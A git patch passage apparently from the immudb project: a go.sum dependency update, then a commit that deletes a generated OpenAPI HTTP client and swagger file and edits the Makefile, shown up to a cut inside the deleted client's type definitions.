h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= @@ -1483,9 +1788,12 @@ google.golang.org/api v0.99.0/go.mod h1:1YOf74vkVndF7pG6hIHuINsM7eWwpVTAfNMNiL91 google.golang.org/api v0.100.0/go.mod h1:ZE3Z2+ZOr87Rx7dqFsdRQkRBk36kDtp/h+QpHbB7a70= google.golang.org/api v0.102.0/go.mod h1:3VFl6/fzoA+qNuS1N1/VfXY4LjoXN/wzeIp7TweWwGo= google.golang.org/api v0.103.0/go.mod h1:hGtW6nK1AC+d9si/UBhw8Xli+QMOf6xyNAyJw4qU9w0= +google.golang.org/api v0.106.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= google.golang.org/api v0.107.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= google.golang.org/api v0.108.0/go.mod h1:2Ts0XTHNVWxypznxWOYUeI4g3WdP9Pk2Qk58+a/O9MY= google.golang.org/api v0.110.0/go.mod h1:7FC4Vvx1Mooxh8C5HWjzZHcavuS2f6pmJpZx60ca7iI= +google.golang.org/api v0.111.0/go.mod h1:qtFHvU9mhgTJegR31csQ+rwxyUTHOKFqCKWp1J0fdw0= +google.golang.org/api v0.114.0/go.mod h1:ifYI2ZsFK6/uGddGfAD5BMxlnkBqCmqHSDUVi45N5Yg= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= @@ -1600,17 +1908,42 @@ google.golang.org/genproto v0.0.0-20221014213838-99cd37c6964a/go.mod h1:1vXfmgAz google.golang.org/genproto v0.0.0-20221024153911-1573dae28c9c/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= +google.golang.org/genproto v0.0.0-20221109142239-94d6d90a7d66/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= google.golang.org/genproto v0.0.0-20221114212237-e4508ebdbee1/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= google.golang.org/genproto v0.0.0-20221117204609-8f9c96812029/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= google.golang.org/genproto v0.0.0-20221118155620-16455021b5e6/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= google.golang.org/genproto v0.0.0-20221201164419-0e50fba7f41c/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= +google.golang.org/genproto v0.0.0-20221201204527-e3fa12d562f3/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= google.golang.org/genproto v0.0.0-20221202195650-67e5cbc046fd/go.mod h1:cTsE614GARnxrLsqKREzmNYJACSWWpAWdNMwnD7c2BE= google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230112194545-e10362b5ecf9/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230113154510-dbe35b8444a5/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230123190316-2c411cf9d197/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/genproto v0.0.0-20230124163310-31e0e69b6fc2/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230125152338-dcaf20b6aeaa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230127162408-596548ed4efa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= google.golang.org/genproto v0.0.0-20230209215440-0dfe4f8abfcc/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230223222841-637eb2293923 h1:znp6mq/drrY+6khTAlJUDNFFcDGV2ENLYKpMq8SyCds= +google.golang.org/genproto v0.0.0-20230216225411-c8e22ba71e44/go.mod h1:8B0gmkoRebU8ukX6HP+4wrVQUY1+6PkQ44BSyIlflHA= +google.golang.org/genproto v0.0.0-20230222225845-10f96fb3dbec/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= +google.golang.org/genproto v0.0.0-20230303212802-e74f57abe488/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= +google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= +google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e h1:Ao9GzfUMPH3zjVfzXG5rlWlk+Q8MXWKwWpwVQE1MXfw= +google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc h1:kVKPf/IiYSBWEWtkIn6wZXwWGCnLKcC8oWfZvXjsGnM= +google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc h1:XSJ8Vk1SWuNr8S18z1NZSziL0CPIXLCCMDOEFtHBOFc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= @@ -1652,8 +1985,9 @@ google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCD google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= -google.golang.org/grpc v1.54.0 h1:EhTqbhiYeixwWQtAEZAxmV9MGqcjEU2mFx52xCzNyag= google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= +google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= +google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= @@ -1671,13 +2005,15 @@ google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQ google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= @@ -1707,7 +2043,43 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= +lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= +modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= +modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= +modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= +modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= +modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= +modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= +modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= +modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= +modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= +modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= +modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= +modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= +modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= +modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= +modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= From a1d15e0346d6205ca058890dd30545739621f45a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 12 Jun 2023 10:14:22 -0300 Subject: [PATCH 0616/1062] chore(pkg/api): remove generated httpclient Signed-off-by: Jeronimo Irazabal --- Makefile | 1 - pkg/api/httpclient/client.go | 3115 -------------------------- pkg/api/openapi/apidocs.swagger.json | 1534 ------------- 3 files changed, 4650 deletions(-) delete mode 100644 pkg/api/httpclient/client.go delete mode 100644 pkg/api/openapi/apidocs.swagger.json diff --git a/Makefile b/Makefile index 5b5fbef02b..f8db64089d 100644 --- a/Makefile +++ b/Makefile @@ -177,7 +177,6 @@ build/codegenv2: --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/protomodel \ --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/protomodel \ --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ - --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ .PHONY: clean clean: diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go deleted file mode 100644 index b7e7c4f90a..0000000000 --- a/pkg/api/httpclient/client.go +++ /dev/null @@ -1,3115 +0,0 @@ -// Package httpclient provides primitives to interact with the openapi HTTP API. -// -// Code generated by github.com/deepmap/oapi-codegen version v1.12.4 DO NOT EDIT. -package httpclient - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io" - "net/http" - "net/url" - "strings" - - "github.com/deepmap/oapi-codegen/pkg/runtime" -) - -const ( - ApiKeyAuthScopes = "ApiKeyAuth.Scopes" -) - -// Defines values for ModelComparisonOperator. -const ( - EQ ModelComparisonOperator = "EQ" - GE ModelComparisonOperator = "GE" - GT ModelComparisonOperator = "GT" - LE ModelComparisonOperator = "LE" - LIKE ModelComparisonOperator = "LIKE" - LT ModelComparisonOperator = "LT" - NE ModelComparisonOperator = "NE" - NOTLIKE ModelComparisonOperator = "NOT_LIKE" -) - -// Defines values for ModelFieldType. -const ( - BOOLEAN ModelFieldType = "BOOLEAN" - DOUBLE ModelFieldType = "DOUBLE" - INTEGER ModelFieldType = "INTEGER" - STRING ModelFieldType = "STRING" -) - -// ImmudbmodelOpenSessionRequest defines model for immudbmodelOpenSessionRequest. -type ImmudbmodelOpenSessionRequest struct { - Database *string `json:"database,omitempty"` - Password *string `json:"password,omitempty"` - Username *string `json:"username,omitempty"` -} - -// ImmudbmodelOpenSessionResponse defines model for immudbmodelOpenSessionResponse. -type ImmudbmodelOpenSessionResponse struct { - ExpirationTimestamp *int32 `json:"expirationTimestamp,omitempty"` - InactivityTimestamp *int32 `json:"inactivityTimestamp,omitempty"` - ServerUUID *string `json:"serverUUID,omitempty"` - SessionID *string `json:"sessionID,omitempty"` -} - -// ModelAuditDocumentRequest defines model for modelAuditDocumentRequest. -type ModelAuditDocumentRequest struct { - Desc bool `json:"desc"` - Page int64 `json:"page"` - PageSize int64 `json:"pageSize"` -} - -// ModelAuditDocumentResponse defines model for modelAuditDocumentResponse. -type ModelAuditDocumentResponse struct { - Revisions []ModelDocumentAtRevision `json:"revisions"` -} - -// ModelCloseSessionRequest defines model for modelCloseSessionRequest. -type ModelCloseSessionRequest = map[string]interface{} - -// ModelCloseSessionResponse defines model for modelCloseSessionResponse. -type ModelCloseSessionResponse = map[string]interface{} - -// ModelCollection defines model for modelCollection. -type ModelCollection struct { - DocumentIdFieldName string `json:"documentIdFieldName"` - Fields []ModelField `json:"fields"` - Indexes []ModelIndex `json:"indexes"` - Name string `json:"name"` -} - -// ModelComparisonOperator defines model for modelComparisonOperator. -type ModelComparisonOperator string - -// ModelCreateCollectionRequest defines model for modelCreateCollectionRequest. -type ModelCreateCollectionRequest struct { - DocumentIdFieldName string `json:"documentIdFieldName"` - Fields *[]ModelField `json:"fields,omitempty"` - Indexes *[]ModelIndex `json:"indexes,omitempty"` -} - -// ModelCreateCollectionResponse defines model for modelCreateCollectionResponse. -type ModelCreateCollectionResponse = map[string]interface{} - -// ModelCreateIndexRequest defines model for modelCreateIndexRequest. -type ModelCreateIndexRequest struct { - Fields []string `json:"fields"` - IsUnique bool `json:"isUnique"` -} - -// ModelCreateIndexResponse defines model for modelCreateIndexResponse. -type ModelCreateIndexResponse = map[string]interface{} - -// ModelDeleteCollectionResponse defines model for modelDeleteCollectionResponse. -type ModelDeleteCollectionResponse = map[string]interface{} - -// ModelDeleteDocumentsRequest defines model for modelDeleteDocumentsRequest. -type ModelDeleteDocumentsRequest struct { - Query ModelQuery `json:"query"` -} - -// ModelDeleteDocumentsResponse defines model for modelDeleteDocumentsResponse. -type ModelDeleteDocumentsResponse = map[string]interface{} - -// ModelDeleteIndexResponse defines model for modelDeleteIndexResponse. -type ModelDeleteIndexResponse = map[string]interface{} - -// ModelDocumentAtRevision defines model for modelDocumentAtRevision. -type ModelDocumentAtRevision struct { - Document *map[string]interface{} `json:"document,omitempty"` - DocumentId string `json:"documentId"` - Metadata *ModelDocumentMetadata `json:"metadata,omitempty"` - Revision string `json:"revision"` - TransactionId string `json:"transactionId"` -} - -// ModelDocumentMetadata defines model for modelDocumentMetadata. -type ModelDocumentMetadata struct { - Deleted bool `json:"deleted"` -} - -// ModelField defines model for modelField. -type ModelField struct { - Name string `json:"name"` - Type ModelFieldType `json:"type"` -} - -// ModelFieldComparison defines model for modelFieldComparison. -type ModelFieldComparison struct { - Field string `json:"field"` - Operator ModelComparisonOperator `json:"operator"` - Value interface{} `json:"value"` -} - -// ModelFieldType defines model for modelFieldType. -type ModelFieldType string - -// ModelGetCollectionResponse defines model for modelGetCollectionResponse. -type ModelGetCollectionResponse struct { - Collection ModelCollection `json:"collection"` -} - -// ModelGetCollectionsResponse defines model for modelGetCollectionsResponse. -type ModelGetCollectionsResponse struct { - Collections []ModelCollection `json:"collections"` -} - -// ModelIndex defines model for modelIndex. -type ModelIndex struct { - Fields []string `json:"fields"` - IsUnique bool `json:"isUnique"` -} - -// ModelInsertDocumentsRequest defines model for modelInsertDocumentsRequest. -type ModelInsertDocumentsRequest struct { - Documents []map[string]interface{} `json:"documents"` -} - -// ModelInsertDocumentsResponse defines model for modelInsertDocumentsResponse. -type ModelInsertDocumentsResponse struct { - DocumentIds []string `json:"documentIds"` - TransactionId string `json:"transactionId"` -} - -// ModelKeepAliveRequest defines model for modelKeepAliveRequest. -type ModelKeepAliveRequest = map[string]interface{} - -// ModelKeepAliveResponse defines model for modelKeepAliveResponse. -type ModelKeepAliveResponse = map[string]interface{} - -// ModelOrderByClause defines model for modelOrderByClause. -type ModelOrderByClause struct { - Desc bool `json:"desc"` - Field string `json:"field"` -} - -// ModelProofDocumentRequest defines model for modelProofDocumentRequest. -type ModelProofDocumentRequest struct { - ProofSinceTransactionId string `json:"proofSinceTransactionId"` - TransactionId string `json:"transactionId"` -} - -// ModelProofDocumentResponse defines model for modelProofDocumentResponse. -type ModelProofDocumentResponse struct { - CollectionId int64 `json:"collectionId"` - Database string `json:"database"` - DocumentIdFieldName string `json:"documentIdFieldName"` - EncodedDocument []byte `json:"encodedDocument"` - VerifiableTx SchemaVerifiableTxV2 `json:"verifiableTx"` -} - -// ModelQuery defines model for modelQuery. -type ModelQuery struct { - Expressions []ModelQueryExpression `json:"expressions"` - Limit int64 `json:"limit"` - OrderBy []ModelOrderByClause `json:"orderBy"` -} - -// ModelQueryExpression defines model for modelQueryExpression. -type ModelQueryExpression struct { - FieldComparisons []ModelFieldComparison `json:"fieldComparisons"` -} - -// ModelReplaceDocumentsRequest defines model for modelReplaceDocumentsRequest. -type ModelReplaceDocumentsRequest struct { - Document map[string]interface{} `json:"document"` - Query ModelQuery `json:"query"` -} - -// ModelReplaceDocumentsResponse defines model for modelReplaceDocumentsResponse. -type ModelReplaceDocumentsResponse struct { - Revisions []ModelDocumentAtRevision `json:"revisions"` -} - -// ModelSearchDocumentsRequest defines model for modelSearchDocumentsRequest. -type ModelSearchDocumentsRequest struct { - KeepOpen bool `json:"keepOpen"` - Page int64 `json:"page"` - PageSize int64 `json:"pageSize"` - Query ModelQuery `json:"query"` -} - -// ModelSearchDocumentsRequestWith defines model for modelSearchDocumentsRequestWith. -type ModelSearchDocumentsRequestWith struct { - KeepOpen bool `json:"keepOpen"` - Page int64 `json:"page"` - PageSize int64 `json:"pageSize"` -} - -// ModelSearchDocumentsResponse defines model for modelSearchDocumentsResponse. -type ModelSearchDocumentsResponse struct { - Revisions []ModelDocumentAtRevision `json:"revisions"` - SearchId string `json:"searchId"` -} - -// ModelUpdateCollectionRequest defines model for modelUpdateCollectionRequest. -type ModelUpdateCollectionRequest struct { - DocumentIdFieldName string `json:"documentIdFieldName"` -} - -// ModelUpdateCollectionResponse defines model for modelUpdateCollectionResponse. -type ModelUpdateCollectionResponse = map[string]interface{} - -// ProtobufAny `Any` contains an arbitrary serialized protocol buffer message along with a -// URL that describes the type of the serialized message. -// -// Protobuf library provides support to pack/unpack Any values in the form -// of utility functions or additional generated methods of the Any type. -// -// Example 1: Pack and unpack a message in C++. -// -// Foo foo = ...; -// Any any; -// any.PackFrom(foo); -// ... -// if (any.UnpackTo(&foo)) { -// ... -// } -// -// Example 2: Pack and unpack a message in Java. -// -// Foo foo = ...; -// Any any = Any.pack(foo); -// ... -// if (any.is(Foo.class)) { -// foo = any.unpack(Foo.class); -// } -// -// Example 3: Pack and unpack a message in Python. -// -// foo = Foo(...) -// any = Any() -// any.Pack(foo) -// ... -// if any.Is(Foo.DESCRIPTOR): -// any.Unpack(foo) -// ... -// -// Example 4: Pack and unpack a message in Go -// -// foo := &pb.Foo{...} -// any, err := anypb.New(foo) -// if err != nil { -// ... -// } -// ... -// foo := &pb.Foo{} -// if err := any.UnmarshalTo(foo); err != nil { -// ... -// } -// -// The pack methods provided by protobuf library will by default use -// 'type.googleapis.com/full.type.name' as the type URL and the unpack -// methods only use the fully qualified type name after the last '/' -// in the type URL, for example "foo.bar.com/x/y.z" will yield type -// name "y.z". -// -// # JSON -// -// The JSON representation of an `Any` value uses the regular -// representation of the deserialized, embedded message, with an -// additional field `@type` which contains the type URL. Example: -// -// package google.profile; -// message Person { -// string first_name = 1; -// string last_name = 2; -// } -// -// { -// "@type": "type.googleapis.com/google.profile.Person", -// "firstName": , -// "lastName": -// } -// -// If the embedded message type is well-known and has a custom JSON -// representation, that representation will be embedded adding a field -// `value` which holds the custom JSON in addition to the `@type` -// field. Example (for message [google.protobuf.Duration][]): -// -// { -// "@type": "type.googleapis.com/google.protobuf.Duration", -// "value": "1.212s" -// } -type ProtobufAny struct { - // TypeUrl A URL/resource name that uniquely identifies the type of the serialized - // protocol buffer message. This string must contain at least - // one "/" character. The last segment of the URL's path must represent - // the fully qualified name of the type (as in - // 